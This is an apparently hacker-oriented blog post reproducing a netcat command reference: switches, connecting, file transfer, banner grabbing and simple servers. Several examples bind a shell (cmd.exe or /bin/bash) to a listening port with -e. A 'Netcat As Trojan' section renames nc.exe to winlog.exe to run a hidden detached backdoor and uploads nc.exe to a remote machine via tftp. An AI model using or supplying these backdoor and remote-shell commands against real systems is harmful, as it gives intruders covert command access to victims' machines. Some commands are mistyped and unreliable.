NETCAT MANUAL | COMMANDS

Kamis, 31 Mei 2012

NETCAT MANUAL | COMMANDS

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NETCAT MANUAL | COMMANDS

Hello GreenHackers...
In This Article We'll Discuss about NETCAT Commands & Use. For Those People Who Don't Know About NETCAT Must Read My Previous Post NETCAT | BEGINNER GUIDE ..


Okay So Let's Start..

Important Switches

  • -d                                             detach from console, stealth mode
  • -e prog                                     inbound program to exec [dangerous!!]
  • -g                                             source-routing hop point[s], up to 8
  • -G num                                    source-routing pointer: 4, 8, 12, ...
  • -i secs                                       delay interval for lines sent, ports scanned
  • -l                                              listen mode, for inbound connects
  • -L                                             listen harder, re-listen on socket close
  • -n                                             numeric-only IP addresses, no DNS
  • -o file                                       hex dump of traffic
  • -p port                                      local port number
  • -r                                              randomize local and remote ports
  • -s addr                                     local source address
  • -t                                              answer TELNET negotiation
  • -u                                             UDP mode
  • -v                                             verbose [use twice to be more verbose]
  • -w secs                                     timeout for connects and final net reads
  • -z                                             zero-I/O mode [used for scanning]
Netcat Connecting

Run nc in connectmode and connectto port 139
nc -p 31337 127.0.0.1139

Run nc in connectmode and connectto port 139 and give verbose display -v -v two times make more verbose
nc -v -v -p 31337 127.0.0.1 139

Run nc in connectmode and connectto port 139 with TIMEOUT set to 5
nc -w 5 -p 31337 127.0.0.1 139


Run nc in connectmode and connectto port 139 with TIMEOUT set to 5 and give verbose display
nc -v -v -w 5 -p 31337 127.0.0.1 139


Netcat Execute

-e Executesa program if netcat is compiledwith the – DGAPING_SECURITY_HOLE.

Nc.exe is compiled to execute when -e is used.

Example

nc-l -d -p 10000 -e cmd.exe or

nc-L -d -p 10000 -e cmd.exe

This will run nc in detached mode and listen on port 10000.


Netcat Listen
Use –L switch to reconnect to thesame NetCat sessions.
This way you can connect over and over to the sameNetcat process.

Example:

nc -l -p 53 -t -e cmd.exe

nc -l -p 5050 | /bin/bash
nc -v -l -p 5050 -e '/bin/bash'

Netcat File Sending
To receive a file named newfile on the destination system start netcat with the following command:
nc –l –p 1234 >newfile


On the source system send a file named newfile to the destination system with the following command:

nc destinationIP 1234 < newfile

Netcat Banner Grabbing

nc –vvn hostIP 80

nc –vvn hostIP 8080

Once connected type HEAD / HTTP/1.0 [Hit enter twice]

nc -v www.website.com 80 < get.txt
Checking WEB Header.

Your get.txt file will contain:
GET / HTTP/1.0
[Carriage] (JUST HIT ENTER IN YOUR TEXT EDITOR)
[Carriage]
In perl you can use print $socket"GET / HTTP/1.0\n\n";


echo "blahblahblah" | nc hostIP 80 > default.htm

cat get.txt| nc hostIP 80


Netcat Web Banner Grabber

First File is a text file:

-----  begin get.txt   -----
GET
/ HTTP/1.0


HIT
ENTER IN YOUR
EDITOR

HIT
ENTER IN YOUR
EDITOR
-----   end get.txt     -----



The second file is a batch file:

-----  begin getweb.cmd  -----
@echo off
nc -v %1 80 < get.txt > index.txt
notepad index.txt

-----   end getweb.cmd    -----

You run it like this: getweb.cmd www.someweb.com


Netcat Finger & Telnet

Netcat as a simplefinger client:

nc -v hostIP 79 < user.txt
The file “user.txt contains the username you are interested in.

You can also send the output to a log file.

nc -v hostIP 79 < user.txt > log.txt

Run nc in listen mode and answer Telnet negotiation in detached mode.
nc -v -v -L -d 127.0.0.1 -p 23

Netcat Simple Server

To create a simple server

nc -l -p 1234 < file

A very simple web server

nc -L -d -p 80 < file

A simple telnet server with execution
nc -L -d -p 23 -t -e cmd.exe

Netcat As Trojan

We will use –t switch to answer telnet negotiation. Netcat should be compiledwith –DTELNET parameter.
nc -l -d -t -p 10000 -e cmd.exe and/ornc-L -d -t -p 10000 -e cmd.exe
winlog.exe -L -d -p 139 -t -e cmd.exe
(note winlog.exe= nc.exe)

Connect to your trojan using

nc -vvn IP_address_of_target port
nc -l -p 53 -t -e cmd.exe Netcat listening on port 53.
nc -l -p 23 -t -e cmd.exe Netcat listening on port 23.
To send netcat on a remote box using tftp
tftp –i remoteip GET nc.exe

This Is Just Some Commands of Netcat to show the power and Versatility of Netcat. I Found This article from the web Written By Adonis a.K.a. NtWaK0..

Enjoy Friends With NETCAT.... @@@@@@@










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